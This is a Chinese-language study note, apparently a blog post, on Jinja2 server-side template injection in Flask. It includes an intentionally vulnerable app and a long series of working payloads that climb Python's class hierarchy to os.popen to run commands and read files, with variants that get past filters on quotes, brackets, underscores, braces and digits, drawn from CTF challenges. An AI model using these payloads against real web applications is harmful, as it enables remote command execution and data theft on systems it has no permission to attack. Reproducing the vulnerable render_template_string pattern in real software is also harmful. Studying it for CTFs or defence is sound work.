python SSTI(服务端模板注入)
前言:python的SSTI 模板注入学习笔记,这篇针对于jinja2模板注入来记录学习
什么是沙箱和沙箱逃逸
沙箱:沙箱是一种按照安全策略限制程序行为的执行环境。早期主要用于测试可疑软件等,比如黑客们为了试用某种病毒或者不安全产品,往往可以将它们在沙箱环境中运行。经典的沙箱系统的实现途径一般是通过拦截系统调用,监视程序行为,然后依据用户定义的策略来控制和限制程序对计算机资源的使用,比如改写注册表,读写磁盘等。
沙箱逃逸,就是在给我们的一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程。
判断是否存在SSTI
比如jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用,在jinja2模板中使用 {{ }}
语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等
所以测试一个网站是否存在SSTI,那么可以通过{{1+1}}
来进行测试,如果页面出现了对应的2的话,那么就可能存在jinja2引擎的模板注入
除了jinja2的模板注入,其他的模板引擎也可能存在相关的模板注入,如下图所示
如何实现python的沙箱逃逸的思路
漏洞环境(python3.8的环境):
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/bye')
def bye_name():
template = """
hello %s
""" % request.args.get('name')
return render_template_string(template)
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True)
最后想实现的肯定就是执行命令,那么这里就需要去找可以执行命令的模块,或者自带的一些可以执行命令的方法,但是比如os这些模块直接调用也不行,一般寻找可利用的方式都是通过如下
一个任意类型的变量 -> 获取该变量的类型 (type类) -> 获取该变量的父类 base (得到的是一个type类) 或者 bases (得到的是一个type类元组) -> 该父类的所有子类 subclasses(得到的是一个type类的列表) -> 在子类中进行挑选可利用的类
比如print("".__class__.__bases__[0].__subclasses__())
,如下图所示
这里来进行遍历,列出对应的下标,方便调用
可以观察到图中的这两个看着都跟os模块有关
这里的__globals__可以拿到当前方法的__init__初始化函数所在的当前模块的全局名称空间中定义的函数,这里也就是OS模块中定义的函数
''.__class__.__base__.__subclasses__()[139].__init__.__globals__
,
其中可以看到system的方法
这里来调用测试,如下图所示,可以看到是调用成功了
环境搭建测试如下,找到对应的索引即可利用
读文件如下
http://127.0.0.1:5000/bye?name={{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('type C:\\Users\\dell\\Desktop\\clear.bat').read()}}
我这里演示的都是py3的!!!
过滤相关关键词
这里比如攻防世界的Confusion1,这里就过滤了许多的关键词,这里的方法就是通过外部传参来绕过相关的关键词过滤
http://XXXXX:XXXX/{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
通用读取文件
http://XXXXX:XXXX/{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("type C:\\Users\\dell\\Desktop\\clear.bat").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
payload更新(2022-09-06)
在ctf中都有遇到过,这里直接贴上了
过滤引号
?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag
过滤引号和request.args
?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.a](request.values.b).read()}}&a=popen&b=cat /flag
过滤引号和request.args和方括号
?name={{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=cat /flag
过滤引号和request.args和方括号和下划线
?name={{(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()}}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag
过滤引号和request.args和方括号和下划线和双花括号
?name={%print((()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read())%}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag
过滤引号和方括号和下划线和双花括号和request
读取/flag
/?name=
{% set a=(()|select|string|list).pop(24) %}
{% set globals=(a,a,dict(globals=1)|join,a,a)|join %}
{% set init=(a,a,dict(init=1)|join,a,a)|join %}
{% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
{% set a=(lipsum|attr(globals)).get(builtins) %}
{% set chr=a.chr %}
{% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
过滤过滤引号和方括号和下划线和双花括号和request和数字
同样是读取/flag
http://c92e8085-60f3-4328-88a7-c37f9e165993.challenge.ctf.show/?name=
{% set aaaa=dict(a=a,b=b,c=c,d=d,e=e)|length %}
{% set bbbb=dict(a=a)|length %}
{% set cccc=aaaa*aaaa-bbbb %}
{% set dddd=dict(a=a,b=b,c=c,d=d,e=e,f=f,g=g,h=h)|length %}
{% set eeee=dict(a=a,b=b,c=c,d=d,e=e,f=f)|length %}
{% set ffff=dict(a=a,b=b)|length %}
{% set gggg=dict(a=a,b=b,c=c,d=d,e=e,f=f,g=g)|length %}
{% set hhhh=dict(a=a,b=b,c=c,d=d,e=e)|length %}
{% set iiii=dict(a=a,b=b,c=c,d=d)|length %}
{% set a=(()|select|string|list).pop(iiii*eeee) %}
{% set globals=(a,a,dict(globals=bbbb)|join,a,a)|join %}
{% set init=(a,a,dict(init=bbbb)|join,a,a)|join %}
{% set builtins=(a,a,dict(builtins=bbbb)|join,a,a)|join %}
{% set a=(lipsum|attr(globals)).get(builtins) %}
{% set chr=a.chr %}
{% print a.open(chr(dddd*eeee-bbbb)~chr(iiii*iiii*iiii*ffff-dddd-dddd-iiii-eeee)~chr(iiii*iiii*iiii*ffff-dddd-dddd-iiii)~chr(iiii*iiii*iiii*ffff-dddd-dddd-iiii-eeee-hhhh)~chr(iiii*iiii*iiii*ffff-dddd-dddd-iiii-hhhh)).read() %}